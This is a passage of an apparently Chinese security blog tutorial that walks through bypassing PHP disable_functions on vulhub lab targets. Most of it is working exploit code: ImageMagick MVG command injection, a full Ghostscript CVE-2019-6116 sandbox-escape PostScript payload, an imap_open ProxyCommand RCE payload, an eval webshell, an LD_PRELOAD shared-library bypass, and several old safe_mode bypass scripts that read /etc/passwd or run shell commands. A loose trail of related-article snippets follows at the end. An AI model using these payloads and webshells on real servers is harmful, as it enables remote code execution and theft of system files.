    進入容器


    image-20220108130501494

    在容器中 /poc.png 文件內容如下:

    push graphic-context
    viewbox 0 0 640 480
    fill 'url(https://evalbug.com/"|ls -la")'
    pop graphic-context
    

    構建時已經集成在容器中,可手動修改第 3 行的命令。

    執行下面命令驗證漏洞:

    $ convert /poc.png 1.png
    

    如果看到 ls -al 命令成功執行,則存在漏洞。


    image-20220108130716536

    同時除了.mvg格式的圖片外,普通png的圖片也能觸發這個命令執行。

    這是delete%l,也就是exif label的處理:

    <delegate decode="miff" encode="show" spawn="True" command="&quot;/usr/bin/display&quot; -delay 0 -window-group %[group] -title &quot;%l &quot; &quot;ephemeral:%i&quot;"/>
    

    %l拼接到了/usr/bin/display命令中,所以現在就只需要將一個普通的png圖片加上惡意的exif信息,然后在滿足條件的情況下觸發即可。


    image-20220109130012936

    由于delegate.xml中設置了encode為show或者win,所以需要輸出為.show或者.win的情況下才會調用該delegate(換句話說,也就是普通的文件處理不會觸發這個命令)

    靶場突破

    編寫一個惡意的png文件:

    push graphic-context
    viewbox 0 0 640 480
    fill 'url(https://evalbug.com/"|cat /etc/passwd > t.txt")'
    pop graphic-context
    

    再對其進行base64編碼

    image-20220109132902955

    使用蟻劍連接WebShell,并上傳如下EXP:

    <?php
    function readImageBlob() {
        $base64 = "cHVzaCBncmFwaGljLWNvbnRleHQKdmlld2JveCAwIDAgNjQwIDQ4MApmaWxsICd1cmwoaHR0cHM6
    Ly9ldmFsYnVnLmNvbS8ifGNhdCAvZXRjL3Bhc3N3ZCA+IHQudHh0IiknCnBvcCBncmFwaGljLWNv
    bnRleHQK";
        $imageBlob = base64_decode($base64);
        $imagick = new Imagick();
        $imagick->readImageBlob($imageBlob);
    
        header("Content-Type: image/png");
        echo $imageBlob;
    }
    readImageBlob();
    ?>
    

    直接訪問EXP即可執行命令


    image-20220109133516234


    利用 GhostScript 沙箱繞過 RCE 漏洞漏洞簡介

    GhostScript 被許多圖片處理庫所使用,如 ImageMagick、Python PIL 等,默認情況下這些庫會根據圖片的內容將其分發給不同的處理方法,其中就包括 GhostScript。

    CVE-2018-16509:8 月 21 號,Tavis Ormandy 通過公開郵件列表,再次指出 GhostScript 的安全沙箱可以被繞過,通過構造惡意的圖片內容,將可以造成命令執行、文件讀取、文件刪除等漏洞:

    CVE-2018-19475:2018年底來自Semmle Security Research Team的Man Yue Mo發表了CVE-2018-16509漏洞的變體CVE-2018-19475,可以通過一個惡意圖片繞過GhostScript的沙盒,進而在9.26以前版本的gs中執行任意命令。

    CVE-2019-6116:2019年1月23日晚,Artifex官方在ghostscriptf的master分支上提交合并了多達6處的修復。旨在修復 CVE-2019-6116 漏洞,該漏洞由 Google 安全研究員 Tavis 于2018年12月3日提交。該漏洞可以直接繞過 ghostscript 的安全沙箱,導致攻擊者可以執行任意命令/讀取任意文件。

    漏洞利用條件

    ?GhostScript 版本 < 9.26


    靶場環境

    項目地址:https://github.com/vulhub/vulhub/tree/master/ghostscript/CVE-2019-6116

    靶場突破

    構造payload:exp.png

    %!PS
    % extract .actual_pdfpaintproc operator from pdfdict
    /.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def
    
    /exploit {
        (Stage 11: Exploitation...)=
    
        /forceput exch def
    
        systemdict /SAFER false forceput
        userparams /LockFilePermissions false forceput
        systemdict /userparams get /PermitFileControl [(*)] forceput
        systemdict /userparams get /PermitFileWriting [(*)] forceput
        systemdict /userparams get /PermitFileReading [(*)] forceput
    
        % update
        save restore
    
        % All done.
        stop
    } def
    
    errordict /typecheck {
        /typecount typecount 1 add def
        (Stage 10: /typecheck #)=only typecount ==
    
        % The first error will be the .knownget, which we handle and setup the
        % stack. The second error will be the ifelse (missing boolean), and then we
        % dump the operands.
        typecount 1 eq { null } if
        typecount 2 eq { pop 7 get exploit } if
        typecount 3 eq { (unexpected)= quit }  if
    } put
    
    % The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
    % executable arrays onto the operand stack that contain .forceput, but are not
    % marked as executeonly or pseudo-operators.
    %
    % The routine was attempting to pass them to ifelse, but we can cause that to
    % fail because when the routine was declared, it used `bind` but many of the
    % names it uses are not operators and so are just looked up in the dictstack.
    %
    % This means we can push a dict onto the dictstack and control how the routine
    % works.
    <<
        /typecount      0
        /PDFfile        { (Stage 0: PDFfile)= currentfile }
        /q              { (Stage 1: q)= } % no-op
        /oget           { (Stage 3: oget)= pop pop 0 } % clear stack
        /pdfemptycount  { (Stage 4: pdfemptycount)= } % no-op
        /gput           { (Stage 5: gput)= }  % no-op
        /resolvestream  { (Stage 6: resolvestream)= } % no-op
        /pdfopdict      { (Stage 7: pdfopdict)= } % no-op
        /.pdfruncontext { (Stage 8: .pdfruncontext)= 0 1 mark } % satisfy counttomark and index
        /pdfdict        { (Stage 9: pdfdict)=
            % cause a /typecheck error we handle above
            true
        }
    >> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop
    
    (Should now have complete control over ghostscript, attempting to read /etc/passwd...)=
    
    % Demonstrate reading a file we shouldnt have access to.
    (/etc/passwd) (r) file dup 64 string readline pop == closefile
    
    (Attempting to execute a shell command...)= flush
    
    % run command
    (%pipe%cat /etc/passwd > /var/www/html/res.txt) (w) file closefile
    
    (All done.)=
    
    quit
    

    作者給出了POC,上傳這個文件,即可執行cat /etc/passwd > /var/www/html/res.txt


    image-20220110201707101


    利用 PHP imap_open RCE 漏洞 (CVE-2018-19518)漏洞簡介

    PHP 的imap_open函數中的漏洞可能允許經過身份驗證的遠程攻擊者在目標系統上執行任意命令。該漏洞的存在是因為受影響的軟件的imap_open函數在將郵箱名稱傳遞給rsh或ssh命令之前不正確地過濾郵箱名稱。如果啟用了rsh和ssh功能并且rsh命令是ssh命令的符號鏈接,則攻擊者可以通過向目標系統發送包含-oProxyCommand參數的惡意IMAP服務器名稱來利用此漏洞。成功的攻擊可能允許攻擊者繞過其他禁用的exec 受影響軟件中的功能,攻擊者可利用這些功能在目標系統上執行任意shell命令。

    漏洞利用條件

    ?Ubuntu https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-19518.html

    ?Debian https://security-tracker.debian.org/tracker/CVE-2018-19518

    ?Red Hat https://access.redhat.com/security/cve/cve-2018-19518

    ?SUSE https://www.suse.com/security/cve/CVE-2018-19518/

    這個漏洞出現在較老的PHP版本中,PHP官方針對7.1.x在7.1.25版本發布時修復了 CVE-2018-19518 漏洞。

    靶場環境

    項目地址:https://github.com/vulhub/vulhub/tree/master/php/CVE-2018-19518

    進入靶場并在Web目錄中寫入WebShell:

    <?php @eval($_POST['hacker']); ?>
    

    該漏洞執行的結果是無回顯的,為了保存查看執行后的命令回顯的數據,這里將Web目錄的所屬改為www-data

    chown -R www-data:www-data /var/www/html
    
    具體的環境配置與漏洞復現過程可以參考FreeBuf的這篇文章:
    https://www.freebuf.com/vuls/192712.html

    靶場突破

    payload:

    <?php
    $payload = "cat /etc/passwd >/var/www/html/res.txt";
    $base64 = base64_encode($payload);
    $server = "x -oProxyCommand=echo\t{$base64}|base64\t-d|sh";
    @imap_open('{'.$server.'}:143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());
    

    將payload代碼部分進行URL編碼:

    $payload%20=%20%22cat%20/etc/passwd%20%3E/var/www/html/res.txt%22;%0A$base64%20=%20base64_encode($payload);%0A$server%20=%20%22x%20-oProxyCommand=echo%5Ct%7B$base64%7D%7Cbase64%5Ct-d%7Csh%22;%0A@imap_open('%7B'.$server.'%7D:143/imap%7DINBOX',%20'',%20'')%20or%20die(%22%5Cn%5CnError:%20%22.imap_last_error());
    

    在WebShell中提交即可執行命令。


    image-20220110155722488


    利用Nginx+PHP-fpm RCE 漏洞 (CVE-2019-11043)漏洞簡介

    2019年10月23日,github公開漏洞相關的詳情以及exp。當nginx配置不當時,會導致php-fpm遠程任意代碼執行。

    攻擊者可以使用換行符(%0a)來破壞fastcgi_split_path_info指令中的Regexp。Regexp被損壞導致PATH_INFO為空,同時slen可控,從而觸發該漏洞。

    漏洞利用條件

    ?Linux系統

    ?Nginx + PHP-FPM

    ?PHP 版本

    ?PHP 7.0.X

    ?PHP 7.1.X < 7.1.33

    ?PHP 7.2.X < 7.2.24

    ?PHP 7.3.X < 7.3.11

    ?Nginx特定配置(如下)

    location ~ [^/]\.php(/|$) {
     ...
     fastcgi_split_path_info ^(.+?\.php)(/.*)$;
     fastcgi_param PATH_INFO $fastcgi_path_info;
     fastcgi_pass   php:9000;
     ...
    }
    

    靶場環境

    項目地址:https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043

    靶場突破

    下載github上公開的exp(需要go環境)。

    go get github.com/neex/phuip-fpizdam
    

    然后編譯

    go install github.com/neex/phuip-fpizdam
    

    使用exp攻擊靶場網站

    ./phuip-fpizdam http://192.168.43.187:8080/index.php
    


    image-20220110163535254

    攻擊成功,可以直接執行命令。


    image-20220110164307228


    其它繞過方法以下方法由于很多都是針對舊版本的PHP,有些需要加載特殊的第三方擴展,就不具體講解了,有興趣的小伙伴可以自己去復現。

    PHP5 pcntl_exec()

    <?php
    $dir = '/var/tmp/';
    $cmd = 'ls';
    $option = '-l';
    $pathtobin = '/bin/bash';
     
    $arg = array($cmd, $option, $dir);
     
    pcntl_exec($pathtobin, $arg);
    echo '123';
    ?>
    <?php
    $cmd = @$_REQUEST[cmd];
    if(function_exists('pcntl_exec')) {
        $cmd = $cmd."&pkill -9 bash >out";
        pcntl_exec("/bin/bash", $cmd);
        echo file_get_contents("out");        
    } else {
            echo '不支持pcntl擴展';
    }
    ?>
    

    PHP proc_open()

    a.c:

    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    int getuid()
    {
    char *en;
    char *buf=malloc(300);
    FILE *a;
    
    unsetenv("LD_PRELOAD");
    a=fopen(".comm","r");
    buf=fgets(buf,100,a);
    write(2,buf,strlen(buf));
    fclose(a);
    rename("a.so","b.so");
    system(buf);
    system("mv output.txt .comm1");
    rename("b.so","a.so");
    free(buf);
    return 0;
    }
    

    evil.php:

    <?php
    
    $path="/var/www"; //change to your writable path
    
    
    $a=fopen($path."/.comm","w");
    fputs($a,$_GET["c"]);
    fclose($a);
    
    $descriptorspec = array(
     0 => array("pipe", "r"),
     1 => array("file", $path."/output.txt","w"),
     2 => array("file", $path."/errors.txt", "a" )
    );
    
    $cwd = '.';
    $env = array('LD_PRELOAD' => $path."/a.so");
    $process = proc_open('id > /tmp/a', $descriptorspec, $pipes, $cwd, $env); // example command - should not succeed
    
    
    sleep(1);
    $a=fopen($path."/.comm1","r");
    
    echo "<pre><b>";
    while (!feof($a))
    {$b=fgets($a);echo $b;}
    fclose($a);
    echo "</pre>";
    
    ?>
    

    PHP 5.2.3 win32std Extension

    <?php
    //PHP 5.2.3 win32std extension safe_mode and disable_functions protections bypass
    
    //author: shinnai
    //mail: shinnai[at]autistici[dot]org
    //site: http://shinnai.altervista.org
    
    //Tested on xp Pro sp2 full patched, worked both from the cli and on apache
    
    //Thanks to rgod for all his precious advises :)
    
    //I set php.ini in this way:
    //safe_mode = On
    //disable_functions = system
    //if you launch the exploit from the cli, cmd.exe will be wxecuted
    //if you browse it through apache, you'll see a new cmd.exe process activated in taskmanager
    
    if (!extension_loaded("win32std")) die("win32std extension required!");
    system("cmd.exe"); //just to be sure that protections work well
    win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe");
    ?>
    

    PHP Perl Extension

    <?php
     
    ##########################################################
    ###----------------------------------------------------###
    ###----PHP Perl Extension Safe_mode Bypass Exploit-----###
    ###----------------------------------------------------###
    ###-Author:--NetJackal---------------------------------###
    ###-Email:---nima_501[at]yahoo[dot]com-----------------###
    ###-Website:-http://netjackal.by.ru--------------------###
    ###----------------------------------------------------###
    ##########################################################
     
    if(!extension_loaded('perl'))die('perl extension is not loaded');
    if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
    if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
    $perl=new perl();
    echo "<textarea rows='25' cols='75'>";
    $perl->eval("system('".$_GET['cmd']."')");
    echo "&lt;/textarea&gt;";
    $_GET['cmd']=htmlspecialchars($_GET['cmd']);
    echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>"
     
    ?>
    

    PHP 5.2.4 ionCube extension

    <?php
    //PHP 5.2.4 ionCube extension safe_mode and disable_functions protections bypass
     
    //author: shinnai
    //mail: shinnai[at]autistici[dot]org
    //site: http://shinnai.altervista.org
     
    //Tested on xp Pro sp2 full patched, worked both from the cli and on apache
     
    //Technical details:
    //ionCube version: 6.5
    //extension: ioncube_loader_win_5.2.dll (other may also be vulnerable)
    //url: www.ioncube.com
     
    //php.ini settings:
    //safe_mode = On
    //disable_functions = ioncube_read_file, readfile
     
    //Description:
    //This is useful to obtain juicy informations but also to retrieve source
    //code of php pages, password files, etc... you just need to change file path.
    //Anyway, don't worry, nobody will read your obfuscated code :)
     
    //greetz to: BlackLight for help me to understand better PHP
     
    //P.S.
    //This extension contains even an interesting ioncube_write_file function...
    if (!extension_loaded("ionCube Loader")) die("ionCube Loader extension required!");
    $path = str_repeat("..\\", 20);
    $MyBoot_readfile = readfile($path."windows\\system.ini"); #just to be sure that I set correctely disable_function :)
    $MyBoot_ioncube = ioncube_read_file($path."boot.ini");
    echo $MyBoot_readfile;
    echo "<br><br>ionCube output:<br><br>";
    echo $MyBoot_ioncube;
    ?>
    

    PHP <=5.2.9 (Windows x86) Safe_mode Bypass Vulnerability

    <?php
    //cmd.php
    /*
        Abysssec Inc Public Advisory 
        
        Here is another safemod bypass vulnerability exist in php <= 5.2.9 on windows .
        the problem comes from OS behavior - implement  and interfacing between php
        and operation systems directory structure . the problem is php won't tell difference 
        between directory browsing in linux and windows this can lead attacker to ability 
        execute his / her commands on targert machie even in SafeMod On  (php.ini setting) . 
        =============================================================================
        in linux when you want open a directory for example php directory you need
        to go to /usr/bin/php and you can't use \usr\bin\php . but windows won't tell
        diffence between slash and back slash it means there is no didffrence  between 
        c:\php and c:/php , and this is not vulnerability but itself but  because of this  simple 
        php implement "\" character can escape safemode using  function like excec . 
        here is a PoC for discussed vulnerability . just upload files on your target host and execute
        your commands . 
        ==============================================================================
        note : this vulnerabities is just for educational purpose and author will be not be responsible  
        for any damage using this vulnerabilty. 
        ==============================================================================
        for more information visit Abysssec.com
        feel free to contact me at admin [at] abysssec.com
    */
        $cmd = $_REQUEST['cmd'];
        if ($cmd){
        $batch = fopen ("cmd.bat","w");
        fwrite($batch,"$cmd>abysssec.txt"."\r\n");
        fwrite($batch,"exit");
        fclose($batch);
        exec("\start cmd.bat");
        echo "<center>";
        echo "<h1>Abysssec.com PHP <= 5.2.9 SafeMod Bypasser</h1>";
        echo "<textarea rows=20 cols=60>";
        require("abysssec.txt");
        echo "</textarea>";
        echo "</center>";
        }
    ?>
    
    <html>
    <body bgcolor=#000000 and text=#DO0000>
    <center>
    <form method=post>
    <input type=text name=cmd >
    <input type=submit value=bypass>
    </form>
    </center>
    </body>
    </html>
    

    PHP 5.2 FOpen Safe_mode Restriction Bypass Vulnerability

    source: https://www.securityfocus.com/bid/22261/info
    
    PHP is prone to a 'safe_mode' restriction-bypass vulnerability. Successful exploits could allow an attacker to write files in unauthorized locations; other attacks may also be possible.
    
    This vulnerability would be an issue in shared-hosting configurations where multiple users can create and execute arbitrary PHP script code, all assuming that the 'safe_mode' restriction will isolate users from each other.
    
    This issue is reported to affect PHP version 5.2.0; other versions may also be vulnerable. 
    
    php -r 'fopen("srpath://../../../../../../../dir/pliczek", "a");' 
    

    PHP 5.2.4 and 5.2.5 PHP cURL Safe_mode Bypass Vulnerability

    source: http://www.securityfocus.com/bid/27413/info
     
    PHP cURL is prone to a 'safe mode' security-bypass vulnerability.
     
    Attackers can use this issue to gain access to restricted files, potentially obtaining sensitive information that may aid in further attacks.
     
    The issue affects PHP 5.2.5 and 5.2.4. 
     
    var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00&quot;.__FILE__)));
    


    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    利用UAF漏洞UAF漏洞(Use-After-Free)是一種內存破壞漏洞,漏洞成因是一塊堆內存被釋放了之后又被使用。又被使用指的是:指針存在(懸垂指針被引用)。這個引用的結果是不可預測的,因為不知道會發生什么。由于大多數的堆內存其實都是C++對象,所以利用的核心思路就是分配堆去占坑,占的坑中有自己構造的虛表。
    PHP disable_functions disable_functions是php.ini中的一個設置選項。相當一個黑名單,可以用來設置PHP環境禁止使用某些函數,通常是網站管理員為了安全起見,用來禁用某些危險的命令執行函數等。
    相當一個黑名單,可以用來設置PHP環境禁止使用某些函數,通常是網站管理員為了安全起見,用來禁用某些危險的命令執行函數等。高ini_restore()可用于恢復 PHP 環境配置參數到其初始值
    disable_functions是php.ini中的一個設置選項。相當一個黑名單,可以用來設置PHP環境禁止使用某些函數,通常是網站管理員為了安全起見,用來禁用某些危險的命令執行函數等。
    disable_functionsdisable_functions是php.ini中的一個設置選項,可以用
    容器安全是一個龐大且牽涉極廣的話題,而容器的安全隔離往往是一套縱深防御的體系,牽扯到AppArmor、Namespace、Capabilities、Cgroup、Seccomp等多項內核技術和特性,但安全卻是一處薄弱則全盤皆輸的局面,一個新的內核特性可能就會讓看似無懈可擊的防線存在突破口。隨著云原生技術的快速發展,越來越多的容器運行時組件在新版本中會默認配置AppArmor策略,原本我們在《紅藍對
    繞過寶塔Getshell
    2021-10-18 16:40:25
    朋友丟過來一個站,說站點的webshell掉了,并且上了寶塔,但是后門還在,由于寶塔的原因遲遲無法再次getshell。正好不在乙方工作多年,好久沒遇到WAF對抗了,就要過來看看。
    服務器的相關信息(真實ip,系統類型,版本,開放端口,WAF等) 網站指紋識別(包括,cms,cdn,證書等),dns記錄 whois信息,姓名,備案,郵箱,電話反查(郵箱丟社工庫,社工準備等) 子域名收集,旁站,C段等 google hacking針對化搜索,pdf文件,中間件版本,弱口令掃描等 掃描網站目錄結構,爆后臺,網站banner,測試文件,備份等敏感文件泄漏等 傳輸協議,通用漏洞,ex
    ?上整理的?試問題?全,有些 HW ?試的題,已經收集好了,提供給?家。
    0x00 前言bc實戰代碼審計拿下后臺、數據庫續這篇文章作者并沒有成功GetShell,依稀記得以前遇到一個類似的站點,故打算再續前緣,最終成功拿下目標Shell權限0x01 獲取源碼首先先常規掃一波目錄:dirsearch -u 'http://x.x.x.x:80/' -e php. 并沒有發現有源碼壓縮包,故放棄這個思路,重新審視文章,獲取關鍵字,去github進行搜索,成功找到部分源碼,然后開始進行審計。Github:0x02 進入后臺通過之前的掃描,可以獲取到后臺登陸地址。訪問可以看到登陸頁面。@session_start(); //后臺登陸驗證
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类